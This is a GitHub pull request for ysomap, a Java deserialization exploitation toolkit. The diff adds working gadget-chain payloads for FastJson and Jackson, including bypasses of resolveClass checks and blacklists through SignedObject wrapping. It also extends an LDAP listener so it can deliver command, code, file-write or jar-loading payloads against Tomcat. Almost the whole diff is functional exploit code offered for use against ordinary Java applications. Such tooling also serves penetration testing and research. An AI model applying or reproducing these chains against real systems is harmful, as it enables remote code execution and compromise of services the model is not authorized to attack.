Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

添加了新Gadget,修复了一个Exploit #51

Merged
merged 10 commits into from
Oct 13, 2023
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions common/src/main/java/ysomap/common/annotation/Authors.java
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,7 @@
String LALA = "lala";
String KINGX = "kingx";
String JANG = "Jang";
String whocansee = "whocansee";

String[] value() default {};

Expand Down
27 changes: 26 additions & 1 deletion core/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -49,10 +49,35 @@
<scope>compile</scope>
</dependency>
<!-- serializer start -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.13.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.13.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>${jackson.version}</version>
<version>2.13.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.datatype</groupId>
<artifactId>jackson-datatype-jdk8</artifactId>
<version>2.13.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.datatype</groupId>
<artifactId>jackson-datatype-jsr310</artifactId>
<version>2.13.2</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.module</groupId>
<artifactId>jackson-module-parameter-names</artifactId>
<version>2.13.2</version>
</dependency>
<dependency>
<groupId>${hessian.group}</groupId>
Expand Down
10 changes: 5 additions & 5 deletions core/src/main/java/ysomap/bullets/jdk/rmi/TomcatRefBullet.java
Original file line number Diff line number Diff line change
Expand Up @@ -75,12 +75,12 @@ public String getPayload(String data){
".eval(\""+ data +"\")";
}

public static Bullet newInstance(Object... args) throws Exception {
public static Bullet newInstance(Object...args) throws Exception {
Bullet bullet = new TomcatRefBullet();
bullet.set("type", args[0]);
bullet.set("body", args[1]);
bullet.set("classname", args[2]);
bullet.set("filepath", args[3]);
bullet.set("body", args[0]);
bullet.set("classname", args[1]);
bullet.set("filepath", args[2]);
bullet.set("type", args[3]);

return bullet;
}
Expand Down
18 changes: 14 additions & 4 deletions core/src/main/java/ysomap/exploits/ldap/LDAPTomcatRefListener.java
Original file line number Diff line number Diff line change
Expand Up @@ -35,8 +35,18 @@ public class LDAPTomcatRefListener extends AbstractExploit {
public String lport = "1389";

@NotNull
@Require(name = "command", detail = DetailHelper.COMMAND)
private String command;
@Require(name = "body", detail = "根据type类型,传入命令或代码")
private String body;

@Require(name = "classname", detail = "当type为代码时,需要填上最终载入的classname")
private String classname;

@Require(name = "filepath", detail = "当type为fw时,需要填上最终写入的文件位置")
private String filepath;

@NotNull
@Require(name = "type", detail = "支持cmd、code、fw、loadJar")
private String type;

private InMemoryDirectoryServer ds;

Expand All @@ -54,7 +64,7 @@ public void work() {
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
Serializer serializer = SerializerFactory.createSerializer("default");
Bullet bullet = TomcatRefBullet.newInstance("cmd", command, null, null);
Bullet bullet = TomcatRefBullet.newInstance(type, body,classname,filepath);
config.addInMemoryOperationInterceptor(
new LocalChainOperationInterceptor((byte[]) serializer.serialize(bullet.getObject())));
ds = new InMemoryDirectoryServer(config);
Expand All @@ -77,7 +87,7 @@ public void stop() {
public String toString() {
return "LDAPTomcatRefListener{" +
"lport='" + lport + '\'' +
", command='" + command + '\'' +
", command='" + body + '\'' +
'}';
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
package ysomap.payloads.java.fastjson;

import com.alibaba.fastjson.JSONObject;
import ysomap.bullets.Bullet;
import ysomap.bullets.jdk.LdapAttributeBullet;
import ysomap.common.annotation.*;
import ysomap.core.util.DetailHelper;
import ysomap.core.util.PayloadHelper;
import ysomap.payloads.AbstractPayload;

import javax.management.BadAttributeValueExpException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Objects;

/**
* @author whocansee
* @since 2023/10/7
* BadAttributeValueExpException.readObject->JsonObject.toString->bullet对象的getter方法
* 原链JsonObject1缺失触发toString的部分,且仅支持FastJson低版本
* 此链根据Y4tacker师傅的思路实现了Reference包裹绕过高版本后JsonObject重写的readObject方法中的resolveClass检查,从而支持FastJson全版本
* 由于FastJson序列化逻辑中getter调用顺序的问题,在调用到getDatabaseMetaData()之前就会报错,因而不支持JdbcRowSetImplBullet
*/
@Payloads
@SuppressWarnings({"rawtypes"})
@Authors({ Authors.whocansee })
@Targets({Targets.JDK})
@Require(bullets = {"LdapAttributeBullet", "TemplatesImplBullet"}, param = false)
@Dependencies({"FastJson all versions."})
@Details("BadAttributeValueExpException.readObject->JsonObject.toString->bullet对象的getter方法" +
"此链根据Y4tacker师傅的思路实现了Reference包裹绕过高版本后JsonObject重写的readObject方法中的resolveClass检查,从而支持FastJson全版本")

public class BadAttributeValueExpExceptionWithJsonObject extends AbstractPayload<Object> {

@Require(name = "wrapped", detail = "是否使用SignedObject进行二次反序列化(用以绕过反序列化黑名单)" +
"默认不使用,填true表示启用")
private Boolean wrapped = false;

@Override
public Bullet getDefaultBullet(Object... args) throws Exception {
return LdapAttributeBullet.newInstance(args);
}

@Override
public Object pack(Object obj) throws Exception {
Object obj1 = getterGadget(obj);
if (wrapped) {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) obj1, kp.getPrivate(), Signature.getInstance("DSA"));
return PayloadHelper.makeReadObjectToStringTrigger(getterGadget(signedObject));
} else {
return PayloadHelper.makeReadObjectToStringTrigger(obj1);
}
}
public static Object getterGadget(Object obj) throws Exception {
JSONObject jsonObject = new JSONObject();
jsonObject.put("gg", obj);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc, jsonObject);
HashMap hashMap = new HashMap();
hashMap.put(obj, poc);
return hashMap;
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
package ysomap.payloads.java.fastjson;

import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import ysomap.bullets.Bullet;
import ysomap.bullets.jdk.LdapAttributeBullet;
import ysomap.common.annotation.*;
import ysomap.core.util.PayloadHelper;
import ysomap.payloads.AbstractPayload;

import javax.management.BadAttributeValueExpException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Objects;

/**
* @author whocansee
* @since 2023/10/7
* 基本原理和BadAttributeValueExpExceptionWithJsonObject一致,只是将toString触发方式改成了SpringAOP里面的一条链(最先用于Hessian反序列化)
* 需要目标具有Spring环境
* 由于FastJson序列化逻辑中getter调用顺序的问题,在调用到getDatabaseMetaData()之前就会报错,因而不支持JdbcRowSetImplBullet
*/
@Payloads
@SuppressWarnings({"rawtypes"})
@Authors({ Authors.whocansee })
@Targets({Targets.JDK})
@Require(bullets = {"LdapAttributeBullet", "TemplatesImplBullet"}, param = false)
@Dependencies({"fastjson all versions & SpringAOP"})
@Details("基本原理和BadAttributeValueExpExceptionWithJsonObject一致,只是将toString触发方式改成了SpringAOP里面的一条链(最先用于Hessian反序列化)")
public class SpringAOPXStringWithJsonObject extends AbstractPayload<Object> {
@Require(name = "wrapped", detail = "是否使用SignedObject进行二次反序列化(用以绕过反序列化黑名单)" +
"默认不使用,填true表示启用")
private Boolean wrapped = false;

@Override
public Bullet getDefaultBullet(Object... args) throws Exception {
return LdapAttributeBullet.newInstance(args);
}

@Override
public Object pack(Object obj) throws Exception {
Object obj1 = getterGadget(obj);
if (wrapped) {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) obj1, kp.getPrivate(), Signature.getInstance("DSA"));
return PayloadHelper.makeReadObjectToStringTrigger(getterGadget(signedObject));
} else {
return PayloadHelper.makeReadObjectToStringTrigger(obj1);
}
}
public static void setValue(Object obj,String field,Object value) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj,value);
}
public static Object getterGadget(Object obj) throws Exception {
JSONObject jsonObject = new JSONObject();
jsonObject.put("g","m");
JSONObject jsonObject1 = new JSONObject();
jsonObject1.put("g",obj);

HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x"));

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(v1,v1);
hashMap.put(v2,v2);
setValue(v1,"target",jsonObject1);

HashMap<Object,Object> hhhhashMap = new HashMap<>();
hhhhashMap.put(obj,hashMap);
return hhhhashMap;
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
package ysomap.payloads.java.jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import ysomap.bullets.Bullet;
import ysomap.bullets.jdk.LdapAttributeBullet;
import ysomap.common.annotation.*;
import ysomap.core.util.PayloadHelper;
import ysomap.payloads.AbstractPayload;
import javax.management.BadAttributeValueExpException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Objects;


/**
* @author whocansee
* @since 2023/10/7
* BadAttributeValueExpException.readObject->POJONode(BaseJsonNode).toString->bullet对象的getter方法
* 由于Jackson序列化逻辑中getter调用顺序的问题,在调用到getDatabaseMetaData()之前就会报错,因而不支持JdbcRowSetImplBullet
* 由于此条链不需要Spring依赖,因而没有引入SpringAOP解决Jackson链的不稳定问题,如果抛出空指针错误多打几次即可
*/
@Payloads
@SuppressWarnings({"rawtypes"})
@Authors({ Authors.whocansee })
@Targets({Targets.JDK})
@Require(bullets = {"LdapAttributeBullet", "TemplatesImplBullet"}, param = false)
@Dependencies({"Jackson all versions."})
@Details("BadAttributeValueExpException.readObject->POJONode(BaseJsonNode).toString->bullet对象的getter方法,"+
"由于此条链不需要Spring依赖,因而没有引入SpringAOP解决Jackson链的不稳定问题,如果抛出空指针错误多打几次即可")

public class BadAttributeValueExpExceptionWithJackson extends AbstractPayload<Object> {

@Require(name = "wrapped", detail = "是否使用SignedObject进行二次反序列化(用以绕过反序列化黑名单)" +
"默认不使用,填true表示启用")
private Boolean wrapped = false;
public static int javaassistFlag = 0;
@Override
public Bullet getDefaultBullet(Object... args) throws Exception {
return LdapAttributeBullet.newInstance(args);
}

@Override
public Object pack(Object obj) throws Exception {
if (javaassistFlag == 0){
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
javaassistFlag = 1;
}
Object obj1 = getterGadget(obj);
if (wrapped) {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) obj1, kp.getPrivate(), Signature.getInstance("DSA"));
return PayloadHelper.makeReadObjectToStringTrigger(getterGadget(signedObject));
} else {
return PayloadHelper.makeReadObjectToStringTrigger(obj1);
}
}
public static Object getterGadget(Object obj) throws Exception {
POJONode node = new POJONode(obj);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);
return val;
}
}
Loading
Loading